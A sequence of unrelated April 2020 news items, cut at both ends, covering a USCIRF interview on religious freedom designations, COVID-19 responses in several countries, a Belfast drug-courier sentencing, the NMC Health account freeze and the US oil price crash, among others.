attention to religious freedom violations against all faiths, including: 1.8 million Muslims in Chinese concentration camps 171 Eritrean Christians arrested while gathering for worship 50,000 Christians held in North Korean prison camps 260 incidents of religious freedom violations in Cuba 489 raids conducted against homes of Jehovahs Witnesses in Russia 910,000 Rohingya Muslim refugees in Bangladesh 1 million Muslim residents excluded from the National Register of Citizens in India 37 Shia Muslim protesters executed in Saudi Arabia 5,000 Baptist calendars burned by authorities in Turkmenistan Perkins spoke with CT about how nations move up (e.g., India and Nigeria) or down (e.g. Sudan and Uzbekistan) between lists, why the State Department doesnt accept all of USCIRFs recommendations (but should), and whether he has hope for the future with violations at a historical high in modern times. Image: USCIRF Roughly how many countries are on your studied list? The ones that are listed are the ones that we look at. There has been discussion if we should add Venezuela. There have been a couple of others we have considered. Examining Country X, how do you evaluate if and where it belongs on your lists? First, we begin with the statutory definition of a Country of Particular Concern (CPC). Our mandate is to identify countries with systematic, ongoing, and egregious violations of religious freedomwhether it engages in or tolerates such behavior. One thing to be cautious of is that we dont rank countries. It is not a comparison. Country X and Country Y may both be CPC-listed, but be miles apart on the egregious nature of their violations. We look at each country separately. It is based upon reporting that we can validate and verify; visits that we make to these countries; and hearings we hold with expert witnesses to come in and testify. It is a combination of factors, and quite frankly it is subjective. We try to make it as objective as possible, but it is hard to quantify some thingsthough we do so to the degree we can. What happens if you disagree about the designations? The nine commissioners go through every country we look at. We may add a country, but by and large it has been the same countries for a number of years. We look at the evidence and have discussions. While there is vigorous discussion, there is generally very little disagreement or debate. The evidence is quite compelling. With nine people of different political, religious, and ethnic backgrounds, there are different views and options. By the statute that created us, those who disagree can present dissenting views at the end of each chapter. This happens, but not that much. There is an amazing amount of unity on the commission in how we view these countries. Have you had any 5-4 votes about certain countries? No. And with great confidence I can say we have not had any votes along partisan lines. Maybe the closest we had was three dissenting votes this year, about one country. Concerning Nigeria and Syria, non-state actors have an outsized role in religious freedom violations. How do you determine if this should sanction the government? In Nigeria, you have Boko Haram and Fulani herdsmen engaged in attacks. Back to our definition, the government doesnt have to engage in it, they can also tolerate it. If they tolerate it without providing evidence to suggest they are doing what they can to stop it, then they bear responsibility. That is the case in Nigeria. Two years ago, President [Donald] Trump met with President [Muhammadu] Buhari and told him, Look, you have to protect these citizensthese Christianswho are being attacked. For six months, [Buhari] did, and we saw a decrease. But then it went back to the old ways of just ignoring it, and the intensity of the attacks escalated. Syria is a bit like Afghanistan, which is on the SWL. Youve got the Taliban, and other parties, and in their case with the government it is a combination of will and means. They dont really have control of their country, and Syria is in a similar situation. But we want to draw attention to Syria, because of the northeast region which stillthough not as much because of Turkey[holds] a lot of promise for the region with a self-governing entity that respected religious freedom and showed how it would work. You had people of different religious backgrounds working together in the same government. A lot of what is happening there is still driving the concern for Syria. Nigeria qualifies because its government could do more, and it is not? We look at religious freedom, and this issue alone. We try not to take into consideration other geopolitical factors. We dont look at the US relationship with a country, or how our designation will affect this. We look at allies and foes alike. But we also look from a historical standpoint: What happens if we ignore religious intolerance and persecution? We want to draw attention to Nigeria. It is the largest country in the African continent. We already see refugees fleeing from there. It could easily get out of hand and become a major problem. Some people want to ignore the religious aspect, and say it is an issue of climate change and limited resources: the herdsmen with their cattle and their conflict with farmers. There is some element [of truth] to this. But you cannot ignore the religious component for a nation so evenly divided on religious background. The Central African Republic was downgraded to SWL status following its peace treaty, even though militia attacks continue. Burkina Faso has suffered greatly from militia and Islamist groups that have been severe with their attacks on other religious communities. How did you sort through these issues to put one group here and another one there? Burkina Faso is another country we have been looking at, I should have mentioned them. Partially because there was not enough verifiable information as we were looking at them. We have our resources, we have our sources, and we have to verify the information we have. Im not saying it isnt valid, but we have to make sure we get it right when we make our recommendations. The ramp-up time on some of these countries is a little longer when they are new to us. What led you to upgrade India to CPC status? A lot of evidence. That situation is steadily trending in a negative direction. The worlds quote-unquote largest democracy. Weve not been able to get into the country. They will not allow us in. But we have enough people there. We had a hearing not specifically about India, but of those nations that are denying citizenship. India is very much involved in this, passing legislation that effects a large portion of Muslims that for all practical purposes should be considered citizens, but are denied that. There is a growing trend that suggests India is moving pretty rapidly in the wrong direction. You included Russia and Vietnam last year for CPC designation, but the State Department did not include them on its list. How do you understand why? This is not new; it has long been the case. We focus on one issue and one issue alonereligious freedomand you can argue this is a luxury. The State Department has to look through a multitude of angles. I appreciate that and understand that. But it is not what we are called to do. We give them our best recommendation based on what we know, and they take this into the mix and make their decision. You note in your report that the International Religious Freedom Act requires the executive branch to take action, acknowledging that waivers are often issued. Why would following the law be better policy than behind-the-scenes negotiation, to solve problems? Part of it is so that it can become a negotiating gambit in their discussions with particular countries. For example, Saudi Arabia has been on our list, partly because of their textbooks. We have been told for years that they are in a process of revision, and boy has it been a long process. They should take a cue from Sudan, which jumped in on this with both feet and are revamping the curriculum for the whole country, and they dont have any money compared to Saudi Arabia. We keep raising the issue, and for various reasons the State Department keeps issuing waivers. We just keep putting it back before them. Weve seen some progress from Saudi Arabia in some areasand this is just one country to use as an example. One area of improvement for the [Trump] administration has been its use of sanctions against those who violate religious freedom. Since the Global Magnitsky Act was established in 2017, prior to this year I think there were 8 people sanctioned. I think this year alone there have been 8 more. They are beginning to use the tools they have much more aggressively. Sudan and Uzbekistan have been downgraded in your recommendations. There has been progress made, but how does this fit into the criteria of systematic, ongoing, and egregious? Im most familiar with Sudan, I was just there in February with the prime minister [Abdalla Hamdok]. Im frankly impressed with what they are trying to do. Shortly after the transitional government went into place, they repealed the public order law used to apply Islamic law to oppress women. They have disbanded what were called church councils used to take church property. They have told us repeatedly that they are working to repeal the apostasy and blasphemy laws. That would be such a significant step for a country that is predominantly Muslim, and still wants to operate with Islam as a foundation of the government. We think they should be on the SWL because they are still in this transition processnot out of the woods yet, so to speak. But it is quite impressive what they have been able to do. Sudan, Uzbekistan, and other nations have been eager to engage us to try to get to a good place on religious freedom. This is in large part because this present administration has put a high priority on religious freedom. Word is circulating around the world, so many countries want to improve their standing. What other countries might you mention? Egypt is one. Were seeing progress and positive trends there. The challenge is still the outlying rural areas where, in my view, the rule of law is fragile. I was there for the opening of the cathedral and mosque outside of Cairo. No question this is the direction theyre going; but they still have a ways to go. Bahrain has been engaged with us; they are working to move in this direction. I have been to the United Arab Emirates; they are trying to be an influencer in the Middle East. Turkey is a country that has not been engaging the Trump administration on the issue of religious freedom. What is keeping it from a CPC designation? This is one there was discussion about. Were watching it very closely. It is hard to say, but if the current negative trends were to accelerate, they could find themselves on the CPC list. Is the condition of religious freedom in the world getting better or worse? Where do you see hope for the future? I am reluctant to say better or worse. Or are we getting more focused, so we see the problems more clearly? The awareness is growing, and therefore it seems more pronounced. I would say it is certainly at a historical high in modern times. Is it getting better? I think we are seeing pockets of progress. I am very hopeful for Sudan, that it can provide a way forward for other countries that have been under tyrannical Islamist regimes. Northeast Syria provided great promise. I was very hopeful for what was happening there, and it was done without outside intervention. They were thrust together because of ISIS, and learned to work together for survival. But now with Turkey moving into the area, I dont know what the outcome will be. There are pockets of encouraging developments. More people are talking about it. We have hosted two ministerials to advance religious freedom. Twenty-seven countries have joined the International Religious Freedom Alliance. More is being done than has been done in a long time. Our awareness is going to grow greater, and the problem will appear more pronounced. But as we continue to work on it, I think we will see tremendous progress in the next few years if we stay the present course. US report calls for India to be added to list of countries restricting religious freedom Following the recent controversial Citizenship Amendment Act that sparked protests across India, the United States Commission on International Religious Freedom reportedly urged that the State Department add India to its list of nations with uniquely poor records on protecting freedom to worship. The suggestion marks a show of disapproval of India's divisive new citizenship law, which has sparked broad worries about the disenfranchisement of Muslims. Photo courtesy: Wikimedia The bipartisan commission, created in 1998 by Congress to make policy recommendations about global religious freedom, proposed designating India as a country of particular concern in the annual report it released yesterday. The suggestion marks a show of disapproval of India's divisive new citizenship law, which has sparked broad worries about the disenfranchisement of Muslims. The commission is empowered as an independent arbiter to look only at nations' religious freedom records, apart from their relationship with the United States, vice-chair Nadine Maenza said. Beyond the citizenship law, Maenza added, India has a broader move toward clamping down on religious minorities thats really troublesome. Spokesman for India's Ministry of External Affairs, Anurag Srivastava, responded to the report with a statement blasting the commission's biased and tendentious comments against" that nation. Noting that some members dissented from the commission's decision to recommend India for the lowest ranking of religious freedom protections, Srivastava appeared to use the commission's internal terminology as a dig. We regard (the commission) as an organisation of particular concern and will treat it accordingly, he said. The commission proposed four other nations join India in the ranks of most egregious religious freedom offenders; Nigeria, Russia, Syria and Vietnam. The State Department's current list of countries of particular concern regarding religious freedom includes China, Saudi Arabia, North Korea and Iran. Inclusion among the nations with the poorest religious freedom records can lead to new sanctions, although the executive branch is also empowered to rely on already-imposed sanctions or issue a waiver. Salman Khan's generosity has truly won the hearts of every Indian! The actor is rightfully being hailed as a guardian angel in the lives of daily wage workers as he is directly transferring funds into their accounts. An assistant director has thanked the actor for sending him money and helping him sustain his livelihood even when they have never worked together. Dear @BeingSalmanKhan sir, unfortunately I have never get a chance to work with you , nor I am in your team but still you are doing the financial support for thousands of people who are working in film industry without knowing them. Can't tell you how thankful we all for you pic.twitter.com/vjXipdmRVE Manoj Sharma (@manojksharma2) April 27, 2020 An assistant director, Manoj Sharma who works in the film and TV industry took to thank Salman Khan and inform the rest of the world of the actor's kindness. With the tweet, Sharma also shared a picture that shows how a direct fund transfer was made from Salman's Being Human foundation. " Dear @BeingSalmanKhan sir, unfortunately, I have never got a chance to work with you, nor I am in your team but still you are doing the financial support for thousands of people who are working in the film industry without knowing them. Can't tell you how thankful we all for you " wrote Manoj Kumar, the assistant director who received this aid. TOI Manoj Sharma further wrote how no one asked Salman Khan to help but he has still stepped in to do so and that's really commendable! Nobody has asked Salman sir for help, instead he came to rescue to every technicians from film industry in this lockdown crisis. He treats everyone equally so his team transferred the money to all those who are federation member..Without any biasness. Hope u all understand. Manoj Sharma (@manojksharma2) April 27, 2020 Earlier it was reported that Ashok Dubey, secretary of FWICE had given Salman a list of 25,000 workers stated that "Salman Khan is supporting them for 2 months by giving Rs 6000 ( Rs 3,000 per month) per worker." One thing is for sure, he's called Salman bhai for a reason. He treats people in need like his own. Kudos! A 48-year-old man caught at Belfast City Airport with just under three kilograms of high-purity cocaine in his luggage was jailed yesterday A 48-year-old man caught at Belfast City Airport with just under three kilograms of high-purity cocaine in his luggage was jailed yesterday. Valdir Medeiros Da Silva, who is originally from Brazil and who was living and working in Co Armagh for 16 years until his arrest in December 23, 2018, was handed a seven-and-a-half year sentence. The father-of-four appeared at Belfast Crown Court via a video-link from Maghaberry. He was told by Judge David McFarland that his sentence will be divided equally between prison and licence. During sentencing it emerged that Da Silva was detained at Belfast City Airport after arriving on a flight from Brazil via Heathrow. His luggage was checked and after officers unscrewed a fake bottom on the item a total of 2.96 kilograms of cocaine was located in what Judge McFarland described as a "very professionally constructed hide." The judge said the hide was missed by sniffer dogs at Heathrow Airport, and when the cocaine was later tested by the authorities it had a purity of 89%. When Da Silva was arrested and interviewed he initially denied knowledge of the presence of cocaine in his luggage. However, he later admitted a charge of fraudulently importing a class A drug. Da Silva, from Deramore Drive in Portadown, moved to Northern Ireland in 2002, and has been in custody since his arrest. Noting he had a "limited" criminal record, Judge McFarland said it was his view Da Silva was "a trusted courier of the drugs". Judge McFarland said Da Silva's change of plea represented his remorse, a willingness to cooperate and accepting his guilt and punishment. We cant be bothered about whether were disadvantaged to the Senate, she said on a media conference call organized by the AFSCME union. What we have to be bothered about is the health and safety of the workers in the Capitol of the United States as we do the work for the American people. The Phoenix Hill Sports Park in the capital of Southwest Chinas Sichuan province hosted the 2021 Chinese FA Cup final as its inaugural event Sunday. Covering an area of 128,000 square meters, the park consists of two world-class sports venues, a retail and hotel complex, and a public plaza. It will be one of the venues of the 31st Summer World University Games Jan 12, 2022 05:45 PM Hong Kong, April 28 : Hong Kong will ease quarantine restrictions on travellers from mainland China, providing exemptions for school students crossing the border daily and any arrivals deemed economically important, the citys health chief said on Tuesday. Addressing a press briefing, Secretary for Food and Health Sophia Chan said that the relaxed measures were because the city government was satisfied that the COVID-19 crisis on the mainland was largely under control, reports the South China Morning Post (SCMP) newspaper. Despite those adjustments, Chan also announced the extension of immigration restrictions for general visitors by one month to June 7, and that the requirement for visitors to report their health and travel history would be extended to August 31. But the exact date of the change was yet to be confirmed. The city recorded no new coronavirus cases for a third day in a row on Tuesday. It was the fifth time in nine days there were no new infections, with the total number of cases now at 1,037. At the same briefing, Deputy Secretary for Food and Health Howard Chan said the government would consult the relevant sectors on the criteria and procedures of applying for exemptions from quarantine measures, and would make an announcement as soon as possible. The city government previously said social-distancing measures, including a ban on most gatherings of more than four people, would stay in place until at least May 7, reports the SCMP newspaper. Hong Kong currently denies entry to any residents of Hubei province, where the pandemic oriinated in its capital Wuhan last December, and non-Hong Kong residents who have visited the province in the previous 14 days. No non-city residents are allowed into Hong Kong from overseas by plane. Mr Sheehan also said he does not believe the latest support for care homes goes far enough to properly protect residents (PA) Health officials were too slow to protect thousands of care homes residents from the deadly threat of Covid-19, it has been claimed. Stormont health committee member Pat Sheehan has said lives may have been lost due to a delay in widespread testing of care home residents and the people working there. He also described as "scandalous" claims that care homes have been forced by some health trusts to accept residents without knowing whether they have Covid-19. "The way the whole situation has been handled up to now has been crazy," said the Sinn Fein MLA. "We have known from what has happened in other countries that care homes were going to be hit hard yet all we have seen are piecemeal measures introduced over the last week or two. "I think they've been very, very slow to react despite the fact international experience was telling us how vulnerable care homes are. You'd absolutely have to wonder whether people have become infected and died because of the lack of measures put in place. It's hard not think that there has been an attitude that care home residents are collateral damage given that we knew how older people were going to be affected by this." Expand Close Pat Sheehan / Facebook Twitter Email Whatsapp Pat Sheehan Mr Sheehan also said he does not believe the latest support for care homes goes far enough to properly protect residents and reiterated calls for all staff and residents to be tested. It comes after it was announced last week that anyone being admitted to a care home, either from hospital or the community, must be tested for the virus 48 hours beforehand. Expand Close Richard Pengelly PA / Facebook Twitter Email Whatsapp Richard Pengelly Guidance from the Department of Health's Permanent Secretary Richard Pengelly said: "Some care providers will be able to accommodate individuals with a confirmed Covid-19 positive through effective isolation strategies or cohorting policies." Mr Pengelly has said that if a care home cannot isolate an incoming resident, the health trust must find suitable alternative accommodation for the isolation period. "This alternative accommodation should also be used in the exceptional cases of test results not being available at the point of discharge from hospital," added Mr Pengelly. Health Minister Robin Swann announced a 6.5m cash injection for care homes across Northern Ireland to help them address staffing issues and cover additional costs during the pandemic. However, Patricia McKeown from public service union Unison said more needs to be done, particularly as care home workers are still being penalised when they have to self isolate and are unable to work. "Health workers employed by private residential and nursing homes have been at the sharp end of the Covid-19 pandemic from the outset. They were left to the last on testing, guidance and PPE and many were not equipped to deal with the outbreak," she said. Nine more prisoners lodged at the Central Jail in Madhya Pradesh's Indore city have tested positive for coronavirus, an official said on Tuesday. With this, the total number of those who contracted the infection in the jail in last 14 days has gone up to 19, including 17 prisoners and two jail guards, prison superintendent Rakesh Kumar Bhangre said. "Out of the 124 prisoners, who were already kept at a temporary jail located far from the Central Jail campus after they showed symptoms similar to coronavirus, nine have tested positive for the disease," he said. Prior to this, eight prisoners and two jail guards tested positive for the infection in the last fortnight, the official said. Authorities suspect that the infection spread in the jail from a 58-year-old prisoner, who tested positive for COVID-19 on April 14 after his arrest, the official said. The prisoner and his 25-year-old son allegedly hurled stones at a policeman in Chandan Nagar locality here on April 7. The son was booked under the National Security Act (NSA) and sent to the Jabalpur central jail where he tested positive for coronavirus on April 11, Bhangre said. On getting information about his son, the 58-year-old prisoner was immediately admitted to a hospital in Indore where his test report came out positive for coronavirus on April 14, he added. Nearly 2,050 prisoners are lodged in the Indore central jail as against its capacity of 1,230, another prison official said. "We are screening all the prisoners daily. Those having flu-like symptoms or fever are being quarantined," he added. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) UAE tells banks to freeze accounts of NMC founder Shetty, others, sources say FILE PHOTO: General view of NMC specialty hospital in Abu Dhabi By Saeed Azhar DUBAI (Reuters) - United Arab Emirates lenders have been told by the central bank to freeze the accounts of NMC Health shareholder BR Shetty and his family, three sources with knowledge of the matter said. NMC , which was founded by Shetty in the mid-1970s and has become the largest private healthcare provider in the UAE, was placed into administration this month. Its shares, which NMC plans to delist in London, were suspended after more than halving in value since December, when short-seller Muddy Waters questioned its financial reporting. The UAE freezing directive, which was issued by the central bank last week, extends to two other NMC shareholders, Khalifa al-Muhairi and Saeed Mohamed Butti Mohamed al-Qebaisi, the sources, who had seen the order, told Reuters. The directive also calls for the freezing of bank accounts of several former executives including ex-CEO Prasanth Manghat and his family, two of sources said. "Our businesses operate in areas such as food security and supply, pharmaceutical manufacturing, medical waste management and industrial catering services, and are therefore vital cogs in the economy," a spokesman for Shetty and his holding company BRS Ventures told Reuters. "Any such orders would put these businesses, their employees and their ability to operate and meet ongoing supply at serious risk, and especially at such a critical time given the current public health issue," the spokesman added. The UAE central bank did not immediately respond to a Reuters request for comment. Manghat, who has left the UAE, did not respond to a Reuters request for comment. A spokesman for Muhairi and Qebaisi had no immediate comment. In recent months, NMC has revised its debt position to $6.6 billion (5.32 billion pounds), well above earlier estimates of $2.1 billion in June last year, after doubts emerged over the size of Shetty's stake and those of other shareholders. Story continues Finablr, in which Shetty has a controlling stake, said last month it was preparing for potential insolvency, while operations of its UAE unit were seized by the central bank. Shetty resigned as NMC's non-executive chairman and as a board member in February and has said he is conducting his own investigations. (Additional reporting by Davide Barbuscia; Editing by Alexander Smith and Carmel Crimmins) Rome, April 29 : The coronavirus pandemic has claimed 27,359 lives in locked-down Italy, bringing the total number of infections, fatalities and recoveries to 201,505 as of Tuesday, according to the latest data released by the country's Civil Protection Department. The death toll on Tuesday was 382, bringing the total to 27,359 fatalities since the pandemic first broke out in the northern Lombardy region, Xinhua reported. The department reported 2,091 new infections and 2,317 more recoveries compared to Monday, bringing the nationwide totals to 105,205 and 68,941, respectively. Of those infected, 1,863 are in intensive care -- down by 93 compared to Monday, and 19,723 are hospitalized in normal wards -- down by 630. The rest, or 79 percent of those who tested positive, are in isolation at home. The death toll from the coronavirus among Italy's doctors rose to 152 as of Tuesday, said the National Federation of Orders of Surgeons and Dentists (FNOMCeO). The toll includes retired doctors who have returned to the front line in the virus battle. Italy's National Health Institute (ISS) said 20,618 health-care workers have been infected as of Monday, accounting for about 10 per cent of the country's total accumulated infections. Italy entered into a national lockdown on March 10 to contain the pandemic. The lockdown, expected to last until May 3, will be followed by a so-called "Phase Two," which involves the gradual resumption of social, economic and productive activities. Beginning May 4, the manufacturing, construction, and wholesale sectors can resume work. Following them are retailers, museums, galleries, and libraries on May 18, and bars, restaurants, hairdressers and beauty salons on June 1. All businesses will have to follow rigorous workplace safety protocols. Latest updates on Coronavirus (COVID-19) -- The story has been published from a wire feed without any modifications to the text Health Minister promises reporting is now correct as it is revealed a further 31 coronavirus deaths not disclosed in Wales This article is old - Published: Tuesday, Apr 28th, 2020 The Health Minister has said reporting systems are now consistent as it emerged a further 31 coronavirus deaths in West Wales were also not disclosed, on top of the recent failure to report 84 deaths by the local health board. Overall 115 deaths across Wales during the pandemic were not reported in the Public Health Wales information, with the public led to believe that the reason for non-reporting was that the figures were under five deaths. A report released today says Betsi Cadwaladr University Health Board only became aware of the issue on the 18th of April once Public Health Wales started publishing localised information for the first time. Yesterday the First Minister said he had commissioned a report into the matter, and was due to have a copy on his desk by the afternoon. The Health Minister was asked if he had seen the conclusions of the report, he replied: So I published a written statement on this particular issue, including the report thats been commissioned. It sets out a range of conclusions for areas for improvement, it sets out some of the challenges in communication between the North Wales health board and Public Health Wales, but also a smaller, but material underreporting issue at Hywel Dda health board where 31 deaths werent reported and included in the Public Health Wales figures. Each family has been told at the time whats happened with their loved one. So, for the individual family communication that hasnt been affected. But its part of the national picture where it hasnt been properly reconciled within the data that Public Health Wales published, or that will have been within the one figures. Yesterday we asked the First Minister if the report would be published in full, however was told publication would just contain conclusions. Today the Health Minister said, So we published that report today, it is clear, it is transparent. It does set out that we are absolutely clear now all the reporting systems are consistent, everyone is going to use the same reporting method. That should then mean from the figures today and tomorrow we will be fully up to date. What I think is really important is it doesnt change our understanding of the disease profile across Wales, there are certainly lessons to learnt as we progress through this and how each part of our system shares information with each other. We asked the Health Minister about the Betsi Cadwaladr University Health Board issue, and that as it is in special measures there is a direct link with Welsh Government, and himself. With the previous comment pointing to the report and statement we asked him to simply explain how Health Board management, and his ministerial officials did not spot the huge discrepancy in figures. We also asked who decided the Health Board could use a different reporting system in the first place. The Health Minister replied, There are a couple of different pieces to unpack there from the series of questions. The first is that the statement that I published with the report sets out that when we started to report on a national level, so the Public Health Wales figures broken down by health board, Betsi Cadwaladr realised that there was a discrepancy in the figures that they thought theyd been reporting and providing, and what was then being published. They contacted Public Health Wales at the time and they were conversations between Public Health Wales and Betsi about how to reconcile those figures. They then came out and provided the corrected figures at the end of last week. Weve now got every single health board into a position where theyre using the same reporting form. I would much that rather that happened earlier points, but the review of where we are has meant has absolutely been resolved across each and every health board. I just dont think there is a link between whats happened here, and special measures and I think its particularly unhelpful for people to try to suggest that special measures arrangements have played a part in the COVID-19 response in North Wales. Actually, the Health Board in North Wales and indeed, other health boards right around the country, deserve a significant amount of credit for the way they have changed the way they deliver healthcare, the way theyve deliberately shifted their resources to tackle this once in a century threat that COVID-19 presents, and the tremendous hard work of not just leaders and managers, but of course our frontline staff run across our health care system. That applies just as equally in North Wales, it does in any other part of the country. With the written statement (or report / review) not public late this afternoon we requested a copy, and was promptly provided with a copy of the review paper by Welsh Government. The review paper explains how a Covid-19 mortality surveillance e-form Welsh Clinical Portal has recently been created as a quick way to estimating the mortality burden in confirmed cases during the pandemic. It is clear that it does not replace any of the official procedures around registration of deaths. The review paper states: The report notes inconsistent approaches across health boards, with those not using the specific e-form still are providing data to the agreed definition. Other issues have been identified by Public Health Wales due to the lack of a single system across all health boards, including delays by health boards in the reporting of deaths; reported ambiguity in the definition of what constitutes a death to be reported through surveillance and the inclusion of deaths occurring outside of a hospital. There appears to have been confusion over who was checking the figures, with the roles and responsibilities for scrutinising the data have not been clear, with it noted there needs to be sufficient oversight in the system to reconcile the data being collected and made available through NWIS, ONS and PHW so that issues can be captured early and responded to. The report is specific to the local health board, although the actual reason for the issue is unclear, It remains unclear what may have triggered this gap in reporting specifically to PHW other than an administrative oversight, occurring at a time of unprecedented change at the early stage of a pandemic, with several different reporting processes in place. The report states Betsi Cadwaladr University Health Board became aware of the issue on April 18th when the discrepancy became clear upon the publication of local data for the first time on the PHW dashboard Once this was discovered the report says extensive discussion and data validation between BCUHB and PHW occurred, leading to a robust data sharing process implemented from 24 April. BCUHB have also confirmed they will be using the e-form process from 28 April. It appears Welsh Government were aware of the issues being identified 4-5 days later on the 23rd, and responded, Public Health Wales were immediately instructed to contact all LHBs to obtain assurances about the processes in place and the data being reported. Solving the issue of who is checking the figures, the report states, The Chief Statistician has been asked to provide a whole-system oversight role which includes requiring compliance with reporting protocols and quality assurance being given by Public Health Wales. A weekly call has also been setup between Welsh Government statistician the health boards in Wales to discuss the figures, along with other data analysis work, to hopefully avoid a repeat of the incident. You can view the full brief plus Q&A session from the Health Minister below France has unveiled plans to bring the country out of its nationwide lockdown, including compulsory face masks on public transport and ramping up testing. The prime minister said primary schools, non-essential shops, libraries and small museums could start reopening from 11 May in the first wave of restrictions to be lifted. All retailers except bars, restaurants, cafes and stores in shopping centres - could welcome customers again in two weeks time under the governments proposed exit strategy. The plans would also allow people to leave their homes as normal from 11 May, although travel between regions would be restricted to work or family reasons. Under current rules, anyone going outside must carry a certificate explaining why, for example to get food or medicine. Edouard Philippe said France would only begin emerging from the lockdown next month if it was safe to do so. If the indicators are not right, we will not unwind the lockdown on 11 May, or we will do it more strictly, the PM said. Mr Philippe said social distancing measures would become even more important as France comes out of its lockdown, with the public urged to wear masks in certain situations. The exit strategy which will be voted on in parliament later on Tuesday would require people to wear face masks on public transport, as well as in workplaces if social distancing is not possible. Students in secondary schools which could start gradually reopening from 18 May must also wear masks, the prime minister said. No more than 15 pupils would be allowed in a class, he added. Mr Philippe also laid out plans to increase the number of tests to 700,000 per week by 11 May in a bid to identify and isolate coronavirus carriers. The government will reassess at the end of next month whether conditions are suitable for a further easing of restrictions and will decide whether cafes and restaurants can be reopened and if summer holidays can go ahead. France has been in lockdown for more than a month over its coronavirus outbreak, which has seen more than 165,800 people infected with the virus to date. As of Tuesday, around 23,300 people have died in the country after testing positive for Covid-19 one of the largest death tolls in the world. Additional reporting by Reuters A key benchmark of US oil prices plunged to a 21-year low on Monday, amid continued fears about oversupply in the market. US West Texas Intermediate crude futures (CL=F) dropped over 37.2% to $11.46 per barrel on Monday, a level not seen since 1998. The slump represents the biggest one day drop in percentage terms since 1982. Brent oil futures (BZ=F), the international benchmark, were more resilient. Brent was down just 5.8% to $26.44 per barrel at the same. The steep fall in the price is because of the lack of sufficient demand and lack of storage place, given the fact that the production cut has failed to address the supply glut, said Naeem Aslam, chief market analyst at Avatrade. Oil prices have been under pressure since late February, amid fears about oversupply in the market and slumping demand due to the coronavirus pandemic. US oil prices have been particularly hard hit, with high fixed-costs in the US shale industry. An oil rig stands against the setting sun in Midland, Texas on Friday, April 17, 2020. (Odessa American/Eli Hartman/AP) US oil prices plunged 30% in a day in early March after Saudi Arabia started a price war with Russia by increasing oil production and slashing prices. The feud was resolved two weekends ago when the OPEC+ oil cartel, which Saudi Arabia and Russia are both part of, agreed to cut global oil output by 9.7m barrels per day. It represented the largest single cut to oil output ever. However, the decision has done little to arrest the slide in oil prices. The price war coincided with slumping demand for oil globally, as nations closed their economies due to the COVID-19 pandemic. The OPEC+ et. al. deal did not address the lack of demand globally, said Sebastien Galy, a senior macro strategist at Nordea bank. Air travel has all but ground to a halt around the world and countries around the world have told citizens to stay at home as much as possible, reducing demand for vehicle fuel. The International Energy Agency (IEA) last week said it expects global demand for oil this month to fall to a level not seen since 1995. Story continues Galy said OPEC+ were likely to announce further cuts to production in the coming weeks. Saudi Arabia and Russia have the capacity to wait this out for potentially months, the rest do not, he said. Time is therefore ticking and over the next few weeks OPEC+ should come to the table led by Saudi Arabia for far more substantial cuts. NEW YORK, April 28, 2020 /PRNewswire/ -- Credit Suisse AG ("Credit Suisse") announced today that it has provided notice to accelerate its 3x Inverse Crude Oil ETNs ("DWTIF") and 3x Long Crude Oil ETNs ("UWTIF") (together, the "ETNs"), each of which was previously delisted from the NYSE Arca in 2016. The ETNs were originally listed on the NYSE Arca, but were delisted in 2016. Concurrent with such delisting, Credit Suisse also suspended further issuances of the ETNs. Following the delisting from the NYSE Arca, the ETNs traded on an over-the-counter basis. As described in the related pricing supplement for the ETNs (the "Pricing Supplement"), Credit Suisse, as the issuer of the ETNs, may, at its option, accelerate all issued and outstanding ETNs on any business day after the inception date. Credit Suisse delivered notice of the acceleration of the ETNs via the Depository Trust Company on April 28, 2020. The acceleration date is expected to be May 11, 2020. On April 2, 2020, with respect to DWTIF, and on April 21, 2020, with respect to UWTIF, Credit Suisse announced that the intraday indicative value of the ETNs on such respective dates was equal to or less than $0. As disclosed in the Pricing Supplement, because the intraday indicative value of DWTIF and UWTIF was equal to or less than $0, their respective closing indicative value on all future days is $0. Accordingly, because under the terms of the ETNs the amount of any payment due to holders at maturity, upon early redemption or upon acceleration is determined by reference to the closing indicative value of the ETNs, holders of DWTIF and UWTIF will not receive any payment on the ETNs in connection with this acceleration. None of the other ETNs offered by Credit Suisse are affected by this announcement. Title of ETN Ticker Symbol ETN CUSIP VelocityShares 3x Inverse Crude Oil ETNs linked to the S&P GSCI Crude Oil Index ER due February 9, 2032 DWTIF 22542D548 VelocityShares 3x Long Crude Oil ETNs linked to the S&P GSCI Crude Oil Index ER due February 9, 2032 UWTIF 22539T316 Press Contacts Karina Byrne, Credit Suisse AG, telephone +1 212 538 8361, [email protected] Credit Suisse ETNs Telephone +1 800 320 1225, [email protected] Credit Suisse AG Credit Suisse AG is one of the world's leading financial services providers and is part of the Credit Suisse group of companies (referred to here as 'Credit Suisse'). Our strategy builds on Credit Suisse's core strengths: its position as a leading wealth manager, its specialist investment banking capabilities and its strong presence in our home market of Switzerland. We seek to follow a balanced approach to wealth management, aiming to capitalize on both the large pool of wealth within mature markets as well as the significant growth in wealth in Asia Pacific and other emerging markets, while also serving key developed markets with an emphasis on Switzerland. Credit Suisse employs approximately 48,500 people. The registered shares (CSGN) of Credit Suisse AG's parent company, Credit Suisse Group AG, are listed in Switzerland and, in the form of American Depositary Shares (CS), in New York. Further information about Credit Suisse can be found at www.credit-suisse.com. SOURCE Credit Suisse AG Related Links http://www.credit-suisse.com The Irish College of General Practitioners says it is concerned by a "fall-off" in the numbers of children being vaccinated. It says there has been a noticeable decrease in the numbers being brought to clinics by parents since the beginning of the Covid-19 outbreak. Dublin, April 27, 2020 (GLOBE NEWSWIRE) -- The "Acute Kidney Injury (AKI) - Epidemiology Forecast - 2030" report has been added to ResearchAndMarkets.com's offering. This report delivers an in-depth understanding of the disease, historical and forecasted Acute Kidney Injury (AKI) epidemiology in the United States, EU5 (Germany, Spain, Italy, France, and United Kingdom) and Japan. Epidemiology Perspective The disease epidemiology covered in the report provides historical as well as forecasted epidemiology segmented by Incident Cases of Acute Kidney Injury, Discharge Diagnosed Cases of Acute Kidney Injury, Stage-Wise Discharged Diagnosed Cases of Acute Kidney Injury, Risk Factor Associated Acute Kidney Injury Cases and Renal Transplantation Associated Delayed Graft Function scenario of Acute Kidney Injury (AKI) in the 7MM covering the United States, EU5 countries (Germany, France, Italy, Spain, and United Kingdom) and Japan from 2017 to 2030. Epidemiology Segmentation The total incident population of Acute Kidney Injury in the seven major markets was found to be 1,525,519 in 2017. In the United States the incident population of Acute Kidney Injury was 895,078 in 2017, which is expected to increase in the forecast period (2020-2030). The publisher also estimates higher Diagnosed Discharge Cases of AKI in the United States with 532,830 diagnosed discharge cases found in 2017. According to KIDGO staging; stage II AKI corresponds to the relatively higher 